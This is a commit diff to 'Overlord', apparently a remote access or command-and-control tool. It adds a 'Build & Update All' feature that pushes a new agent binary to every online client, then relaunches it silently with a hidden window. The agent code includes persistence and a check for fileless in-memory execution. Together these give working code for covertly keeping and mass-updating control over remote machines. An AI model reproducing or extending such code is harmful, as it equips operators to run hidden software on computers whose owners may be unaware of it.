new build and update command

Overlord-Client/cmd/agent/handlers/agent_update.go

@@ -17,7 +17,7 @@ import (
 	"overlord-client/cmd/agent/wire"
 )
 
-func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error {
+func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
 	sourcePath = strings.TrimSpace(sourcePath)
 	if sourcePath == "" {
 		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
 	go func() {
 		// Let the command_result flush before beginning process replacement.
 		time.Sleep(250 * time.Millisecond)
-		if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil {
+		if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
 			log.Printf("agent_update: %v", err)
 			return
 		}

Overlord-Client/cmd/agent/handlers/agent_update_unix.go

@@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool {
 	return filepath.Clean(left) == filepath.Clean(right)
 }
 
-func runAgentUpdate(sourcePath string, enablePersistence bool) error {
+func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
 	currentExe, currentErr := resolveCurrentExecutableOnDisk()
 	startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
 	if err != nil {

Overlord-Client/cmd/agent/handlers/agent_update_windows.go

@@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool {
 	return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
 }
 
-func runAgentUpdate(sourcePath string, enablePersistence bool) error {
+func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
 	currentExe, currentErr := resolveCurrentExecutableOnDisk()
 	startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
 	if err != nil {
 		return err
 	}
 
-	log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath)
+	log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow)
 
 	if currentErr != nil && !startupEnabled {
 		return currentErr
@@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
 
 	if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
 		log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
-		if err := startSilentProcess(sourcePath, nil, "", true); err != nil {
+		if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil {
 			return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
 		}
 		return nil
@@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
 	}
 	_ = os.Remove(sourcePath)
 
-	if err := startSilentProcess(restartPath, nil, "", true); err != nil {
+	if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil {
 		return fmt.Errorf("failed to launch updated agent: %w", err)
 	}
 	log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)

Overlord-Client/cmd/agent/handlers/command.go

@@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		payload, _ := envelope["payload"].(map[string]interface{})
 		path, _ := payload["path"].(string)
 		hash, _ := payload["hash"].(string)
-		return HandleAgentUpdate(ctx, env, cmdID, path, hash)
+		hideWindow, _ := payload["hideWindow"].(bool)
+		return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
 	case "process_list":
 		return HandleProcessList(ctx, env, cmdID)
 	case "process_kill":

Overlord-Client/cmd/agent/session.go

@@ -11,6 +11,7 @@ import (
 	"math/rand"
 	"net/http"
 	"os"
+	"path/filepath"
 	"runtime"
 	"runtime/debug"
 	"strconv"
@@ -29,6 +30,25 @@ import (
 	"nhooyr.io/websocket"
 )
 
+func isRunningInMemory() bool {
+	exePath, err := os.Executable()
+	if err != nil {
+		return true
+	}
+	if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
+		exePath = realPath
+	}
+	absPath, err := filepath.Abs(exePath)
+	if err != nil {
+		return true
+	}
+	info, err := os.Stat(absPath)
+	if err != nil || !info.Mode().IsRegular() {
+		return true
+	}
+	return false
+}
+
 func runClient(cfg config.Config) {
 	baseBackoff := computeBaseBackoff()
 	backoff := baseBackoff
@@ -481,6 +501,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 		BuildTag:    cfg.BuildTag,
 		PublicKey:   publicKeyB64,
 		Signature:   signatureB64,
+		InMemory:    isRunningInMemory(),
 	}
 
 	if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {

Overlord-Client/cmd/agent/wire/protocol.go

@@ -15,6 +15,7 @@ type Hello struct {
 	BuildTag    string        `msgpack:"buildTag,omitempty"`
 	PublicKey   string        `msgpack:"publicKey,omitempty"`
 	Signature   string        `msgpack:"signature,omitempty"`
+	InMemory    bool          `msgpack:"inMemory,omitempty"`
 }
 
 type EnrollmentChallenge struct {

Overlord-Server/public/assets/build.js

@@ -666,6 +666,10 @@ async function startBuild(config) {
   buildBtn.disabled = true;
   buildBtn.innerHTML =
     '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
+  if (buildUpdateAllBtn) {
+    buildUpdateAllBtn.disabled = true;
+    buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
+  }
 
   buildStatus.classList.remove("hidden");
   buildStatusText.textContent = "Starting build...";
@@ -712,11 +716,16 @@ async function startBuild(config) {
     buildStatus.querySelector("div").className =
       "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
     buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
+    pendingUpdateAll = false;
   } finally {
     isBuilding = false;
     buildBtn.disabled = false;
     buildBtn.innerHTML =
       '<i class="fa-solid fa-hammer"></i> <span>Start Build</span>';
+    if (buildUpdateAllBtn) {
+      buildUpdateAllBtn.disabled = false;
+      buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>';
+    }
   }
 }
 
@@ -784,6 +793,12 @@ async function streamBuildOutput(buildId, config = {}) {
 
               buildResults.classList.remove("hidden");
               displayBuild(buildData);
+
+              // Auto-push update if "Build & Update All" was used
+              if (pendingUpdateAll) {
+                pendingUpdateAll = false;
+                await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow);
+              }
             }
 
             reader.cancel();
@@ -1219,3 +1234,147 @@ function showBuildFilesForContainer(build, containerId, timerId) {
     setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000);
   }
 }
+
+const buildUpdateAllBtn = document.getElementById("build-update-all-btn");
+const updateAllModal = document.getElementById("update-all-modal");
+const updateAllModalBody = document.getElementById("update-all-modal-body");
+const updateAllCancel = document.getElementById("update-all-cancel");
+const updateAllConfirm = document.getElementById("update-all-confirm");
+
+let pendingUpdateAll = false;
+let pendingUpdateHideWindow = false;
+
+function showUpdateAllModal() {
+  if (!updateAllModal) return;
+  updateAllModal.classList.remove("hidden");
+  updateAllModal.classList.add("flex");
+}
+
+function hideUpdateAllModal() {
+  if (!updateAllModal) return;
+  updateAllModal.classList.remove("flex");
+  updateAllModal.classList.add("hidden");
+  if (updateAllConfirm) {
+    updateAllConfirm.innerHTML = '<i class="fa-solid fa-hammer mr-1"></i> Build & Update';
+    updateAllConfirm.disabled = false;
+  }
+  if (updateAllCancel) {
+    updateAllCancel.textContent = "Cancel";
+  }
+}
+
+if (updateAllCancel) {
+  updateAllCancel.addEventListener("click", hideUpdateAllModal);
+}
+
+if (updateAllModal) {
+  updateAllModal.addEventListener("click", (e) => {
+    if (e.target === updateAllModal) hideUpdateAllModal();
+  });
+}
+
+if (buildUpdateAllBtn) {
+  buildUpdateAllBtn.addEventListener("click", async () => {
+    if (isBuilding) return;
+
+    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
+    const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
+    if (platforms.length === 0) {
+      alert("Please select at least one platform to build");
+      return;
+    }
+
+    showUpdateAllModal();
+    updateAllConfirm.disabled = true;
+    updateAllModalBody.innerHTML = '<p class="text-slate-400"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Checking online clients...</p>';
+
+    try {
+      const res = await fetch("/api/build/update-eligible", {
+        method: "POST",
+        headers: { "Content-Type": "application/json" },
+        credentials: "include",
+        body: JSON.stringify({ platforms }),
+      });
+
+      if (!res.ok) {
+        const data = await res.json().catch(() => ({}));
+        updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>${data.error || "Failed to check eligible clients"}</p>`;
+        return;
+      }
+
+      const data = await res.json();
+      let html = "";
+
+      html += `<p class="text-white"><i class="fa-solid fa-users mr-2 text-amber-400"></i><strong>${data.eligible}</strong> client(s) will receive the update after build.</p>`;
+      html += '<div class="mt-2 text-xs text-slate-400 space-y-1">';
+      html += `<p><i class="fa-solid fa-globe mr-1 text-blue-400"></i> ${data.totalOnline} total online client(s)</p>`;
+      if (data.skippedInMemory > 0) {
+        html += `<p><i class="fa-solid fa-memory mr-1 text-red-400"></i> ${data.skippedInMemory} client(s) will be skipped (running in-memory)</p>`;
+      }
+      if (data.skippedNoMatch > 0) {
+        html += `<p><i class="fa-solid fa-ban mr-1 text-slate-500"></i> ${data.skippedNoMatch} client(s) will be skipped (no matching platform)</p>`;
+      }
+      html += "</div>";
+
+      if (data.eligible === 0 && data.totalOnline === 0) {
+        html += '<p class="mt-3 text-xs text-slate-500">No clients are currently online. The build will still run but no updates will be sent.</p>';
+      }
+
+      html += '<p class="mt-3 text-xs text-amber-300/80"><i class="fa-solid fa-triangle-exclamation mr-1"></i>This will build the client and push the update to all eligible clients. Clients will restart automatically.</p>';
+      updateAllConfirm.disabled = false;
+
+      updateAllModalBody.innerHTML = html;
+    } catch (err) {
+      updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>Error: ${err.message}</p>`;
+    }
+  });
+}
+
+if (updateAllConfirm) {
+  updateAllConfirm.addEventListener("click", () => {
+    hideUpdateAllModal();
+    pendingUpdateAll = true;
+    pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked;
+    form.requestSubmit();
+  });
+}
+
+async function pushUpdateToAllClients(buildId, hideWindow) {
+  addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
+
+  try {
+    const res = await fetch("/api/build/update-all", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      credentials: "include",
+      body: JSON.stringify({ buildId, hideWindow }),
+    });
+
+    const data = await res.json().catch(() => ({}));
+
+    if (!res.ok) {
+      addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error");
+      return;
+    }
+
+    const succeeded = data.successCount || 0;
+    const total = data.totalOnline || 0;
+    const failed = (data.results || []).filter((r) => !r.ok);
+    const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length;
+    const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length;
+
+    addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success");
+    if (inMemoryCount > 0) {
+      addBuildOutput(`  ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn");
+    }
+    if (noMatchCount > 0) {
+      addBuildOutput(`  ${noMatchCount} client(s) skipped (no matching build)\n`, "warn");
+    }
+    const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build");
+    if (otherFailed.length > 0) {
+      addBuildOutput(`  ${otherFailed.length} client(s) failed for other reasons\n`, "warn");
+    }
+  } catch (err) {
+    addBuildOutput(`Update error: ${err.message}\n`, "error");
+  }
+}

Overlord-Server/public/build.html

@@ -512,11 +512,19 @@
               </div>
 
               <!-- Build Button -->
-              <button type="submit" id="build-btn"
+              <div class="flex gap-2">
-                class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
+                <button type="submit" id="build-btn"
-                <i class="fa-solid fa-hammer"></i>
+                  class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
-                <span>Start Build</span>
+                  <i class="fa-solid fa-hammer"></i>
-              </button>
+                  <span>Start Build</span>
+                </button>
+
+                <button type="button" id="build-update-all-btn"
+                  class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-amber-600 hover:bg-amber-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
+                  <i class="fa-solid fa-arrow-up-from-bracket"></i>
+                  <span>Build &amp; Update All</span>
+                </button>
+              </div>
             </form>
           </div>
 
@@ -550,6 +558,32 @@
         </div>
       </div>
     </main>
+
+    <!-- Build & Update All Confirmation Modal -->
+    <div id="update-all-modal" class="fixed inset-0 z-50 hidden items-center justify-center bg-black/60 backdrop-blur-sm">
+      <div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-md w-full mx-4 p-6">
+        <div class="flex items-center gap-3 mb-4">
+          <div class="w-10 h-10 rounded-full bg-amber-900/50 border border-amber-700 flex items-center justify-center">
+            <i class="fa-solid fa-arrow-up-from-bracket text-amber-400"></i>
+          </div>
+          <h3 class="text-lg font-semibold text-white">Build &amp; Update All Clients</h3>
+        </div>
+        <div id="update-all-modal-body" class="text-slate-300 text-sm mb-6 space-y-2">
+          <p>Checking eligible clients...</p>
+        </div>
+        <div class="flex items-center justify-end gap-3">
+          <button id="update-all-cancel" type="button"
+            class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800 transition-colors text-sm font-medium">
+            Cancel
+          </button>
+          <button id="update-all-confirm" type="button"
+            class="px-4 py-2 rounded-lg bg-amber-600 hover:bg-amber-700 text-white transition-colors text-sm font-medium disabled:opacity-50 disabled:cursor-not-allowed">
+            <i class="fa-solid fa-hammer mr-1"></i> Build &amp; Update
+          </button>
+        </div>
+      </div>
+    </div>
+
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/build.js"></script>
   </body>

Overlord-Server/src/server/routes/build-routes.ts

@@ -1,13 +1,19 @@
+import { createHash } from "crypto";
 import { v4 as uuidv4 } from "uuid";
 import { authenticateRequest } from "../../auth";
 import { AuditAction, logAudit } from "../../auditLog";
 import * as buildManager from "../../build/buildManager";
+import * as clientManager from "../../clientManager";
 import { deleteBuild, getAllBuilds, getBuild } from "../../db";
+import { encodeMessage } from "../../protocol";
+import { metrics } from "../../metrics";
 import { requirePermission } from "../../rbac";
 import { logger } from "../../logger";
+import { normalizeClientOs } from "../deploy-utils";
 import path from "path";
 import fs from "fs";
 import { resolveRuntimeRoot } from "../runtime-paths";
+import { createUploadPull } from "./file-download-routes";
 
 type RequestIpProvider = {
   requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -438,6 +444,232 @@ export async function handleBuildRoutes(
       });
     }
 
+    if (req.method === "POST" && url.pathname === "/api/build/update-eligible") {
+      requirePermission(user, "clients:build");
+
+      let body: any = {};
+      try {
+        body = await req.json();
+      } catch {
+        return new Response("Bad request", { status: 400 });
+      }
+
+      // Accept either a buildId (check existing build files) or platforms array (pre-build check)
+      const buildId = typeof body?.buildId === "string" ? body.buildId : "";
+      const platforms: string[] = Array.isArray(body?.platforms) ? body.platforms.filter((p: any) => typeof p === "string") : [];
+
+      let targetPlatforms: Set<string>;
+
+      if (buildId) {
+        const build = buildManager.getBuildStream(buildId);
+        const dbBuild = !build ? getBuild(buildId) : null;
+        const files = build?.files ?? dbBuild?.files;
+        if (!files || files.length === 0) {
+          return Response.json({ error: "Build not found or has no files" }, { status: 404 });
+        }
+
+        const rootDir = resolveRuntimeRoot();
+        const distRoot = path.resolve(rootDir, "dist-clients");
+
+        targetPlatforms = new Set<string>();
+        for (const f of files as any[]) {
+          const platform = (f as any).platform as string | undefined;
+          const filename = f.filename || f.name;
+          if (!platform || !filename) continue;
+          const filePath = path.resolve(distRoot, filename);
+          if (fs.existsSync(filePath)) {
+            targetPlatforms.add(platform);
+          }
+        }
+      } else if (platforms.length > 0) {
+        targetPlatforms = new Set(platforms);
+      } else {
+        return Response.json({ error: "Missing buildId or platforms" }, { status: 400 });
+      }
+
+      if (targetPlatforms.size === 0) {
+        return Response.json({ error: "No matching platforms found" }, { status: 404 });
+      }
+
+      const onlineClients = clientManager.getOnlineClients();
+      let eligible = 0;
+      let skippedInMemory = 0;
+      let skippedNoMatch = 0;
+
+      for (const client of onlineClients) {
+        if (client.inMemory) {
+          skippedInMemory++;
+          continue;
+        }
+        const clientOs = client.os?.toLowerCase() || "";
+        const clientArch = client.arch?.toLowerCase() || "";
+        const clientPlatform = `${clientOs}-${clientArch}`;
+        if (!targetPlatforms.has(clientPlatform)) {
+          skippedNoMatch++;
+          continue;
+        }
+        eligible++;
+      }
+
+      return Response.json({
+        eligible,
+        skippedInMemory,
+        skippedNoMatch,
+        totalOnline: onlineClients.length,
+      });
+    }
+
+    if (req.method === "POST" && url.pathname === "/api/build/update-all") {
+      requirePermission(user, "clients:build");
+      if (user.role !== "admin") {
+        return new Response("Forbidden: Admin access required", { status: 403 });
+      }
+
+      let body: any = {};
+      try {
+        body = await req.json();
+      } catch {
+        return new Response("Bad request", { status: 400 });
+      }
+
+      const buildId = typeof body?.buildId === "string" ? body.buildId : "";
+      if (!buildId) {
+        return Response.json({ error: "Missing buildId" }, { status: 400 });
+      }
+
+      const build = buildManager.getBuildStream(buildId);
+      const dbBuild = !build ? getBuild(buildId) : null;
+      const files = build?.files ?? dbBuild?.files;
+      if (!files || files.length === 0) {
+        return Response.json({ error: "Build not found or has no files" }, { status: 404 });
+      }
+
+      const rootDir = resolveRuntimeRoot();
+      const distRoot = path.resolve(rootDir, "dist-clients");
+
+      const hideWindow = body?.hideWindow === true;
+
+      const buildPlatforms = new Map<string, { filename: string; filePath: string; size: number }>();
+      for (const f of files as any[]) {
+        const platform = (f as any).platform as string | undefined;
+        const filename = f.filename || f.name;
+        if (!platform || !filename) continue;
+        const filePath = path.resolve(distRoot, filename);
+        const rootWithSep = distRoot.endsWith(path.sep) ? distRoot : `${distRoot}${path.sep}`;
+        if (!filePath.startsWith(rootWithSep)) continue;
+        if (!fs.existsSync(filePath)) continue;
+        const stat = fs.statSync(filePath);
+        buildPlatforms.set(platform, { filename, filePath, size: stat.size });
+      }
+
+      if (buildPlatforms.size === 0) {
+        return Response.json({ error: "No build files found on disk" }, { status: 404 });
+      }
+
+      // Pre-compute hashes per platform (avoid re-reading per client)
+      const platformHashes = new Map<string, string>();
+      for (const [platform, buildFile] of buildPlatforms) {
+        const fileBytes = new Uint8Array(fs.readFileSync(buildFile.filePath));
+        platformHashes.set(platform, createHash("sha256").update(fileBytes).digest("hex"));
+      }
+
+      const onlineClients = clientManager.getOnlineClients();
+      const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
+
+      for (const client of onlineClients) {
+        if (client.inMemory) {
+          results.push({ clientId: client.id, ok: false, reason: "in_memory" });
+          continue;
+        }
+        if (!client.ws) {
+          results.push({ clientId: client.id, ok: false, reason: "no_ws" });
+          continue;
+        }
+
+        const clientOs = client.os?.toLowerCase() || "";
+        const clientArch = client.arch?.toLowerCase() || "";
+        const clientPlatform = `${clientOs}-${clientArch}`;
+        const buildFile = buildPlatforms.get(clientPlatform);
+        if (!buildFile) {
+          results.push({ clientId: client.id, ok: false, reason: "no_matching_build" });
+          continue;
+        }
+
+        try {
+          const fileHash = platformHashes.get(clientPlatform)!;
+          const clientNormOs = normalizeClientOs(client.os);
+          const destDir = clientNormOs === "windows"
+            ? `C:\\Windows\\Temp\\Overlord\\update-${buildId.substring(0, 8)}`
+            : `/tmp/overlord/update-${buildId.substring(0, 8)}`;
+          const destPath = clientNormOs === "windows"
+            ? `${destDir}\\${buildFile.filename}`
+            : `${destDir}/${buildFile.filename}`;
+
+          const pullId = createUploadPull({
+            clientId: client.id,
+            filePath: buildFile.filePath,
+            fileName: buildFile.filename,
+            size: buildFile.size,
+          });
+          const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
+
+          client.ws.send(
+            encodeMessage({
+              type: "command",
+              commandType: "file_upload_http",
+              id: uuidv4(),
+              payload: { path: destPath, url: pullUrl, total: buildFile.size },
+            }),
+          );
+
+          if (clientNormOs !== "windows") {
+            client.ws.send(
+              encodeMessage({
+                type: "command",
+                commandType: "file_chmod",
+                id: uuidv4(),
+                payload: { path: destPath, mode: "0755" },
+              }),
+            );
+          }
+
+          client.ws.send(
+            encodeMessage({
+              type: "command",
+              commandType: "agent_update",
+              id: uuidv4(),
+              payload: { path: destPath, hash: fileHash, hideWindow },
+            }),
+          );
+
+          metrics.recordCommand("agent_update");
+          results.push({ clientId: client.id, ok: true });
+        } catch (err: any) {
+          results.push({ clientId: client.id, ok: false, reason: err?.message || "unknown_error" });
+        }
+      }
+
+      const successCount = results.filter((r) => r.ok).length;
+      const ip = server.requestIP(req)?.address || "unknown";
+      logAudit({
+        timestamp: Date.now(),
+        username: user.username,
+        ip,
+        action: AuditAction.AGENT_UPDATE,
+        success: true,
+        details: `update-all: ${successCount}/${onlineClients.length} clients updated from build ${buildId.substring(0, 8)}`,
+      });
+
+      logger.info(`[build:update-all] ${user.username} updated ${successCount}/${onlineClients.length} clients from build ${buildId.substring(0, 8)}`);
+
+      return Response.json({
+        ok: true,
+        totalOnline: onlineClients.length,
+        successCount,
+        results,
+      });
+    }
+
     return new Response("Not found", { status: 404 });
   } catch (error) {
     if (error instanceof Response) {

Overlord-Server/src/server/routes/deploy-routes.ts

@@ -362,7 +362,7 @@ export async function handleDeployRoutes(
           type: "command",
           commandType: "agent_update",
           id: uuidv4(),
-          payload: { path: destPath, hash },
+          payload: { path: destPath, hash, hideWindow: true },
         }),
       );
 

Overlord-Server/src/types.ts

@@ -24,6 +24,7 @@ export type ClientInfo = {
   monitorInfo?: { width: number; height: number }[];
   country?: string;
   pingMs?: number;
+  inMemory?: boolean;
   enrollmentStatus?: EnrollmentStatus;
   publicKey?: string;
   keyFingerprint?: string;

Overlord-Server/src/wsHandlers.ts

@@ -88,6 +88,7 @@ export function handleHello(
   info.user = payload.user;
   info.monitors = payload.monitors;
   info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
+  info.inMemory = !!(payload as any).inMemory;
   const geo = ip ? geoip.lookup(ip) : undefined;
   const countryRaw =
     geo?.country || (payload as any).country || info.country || "ZZ";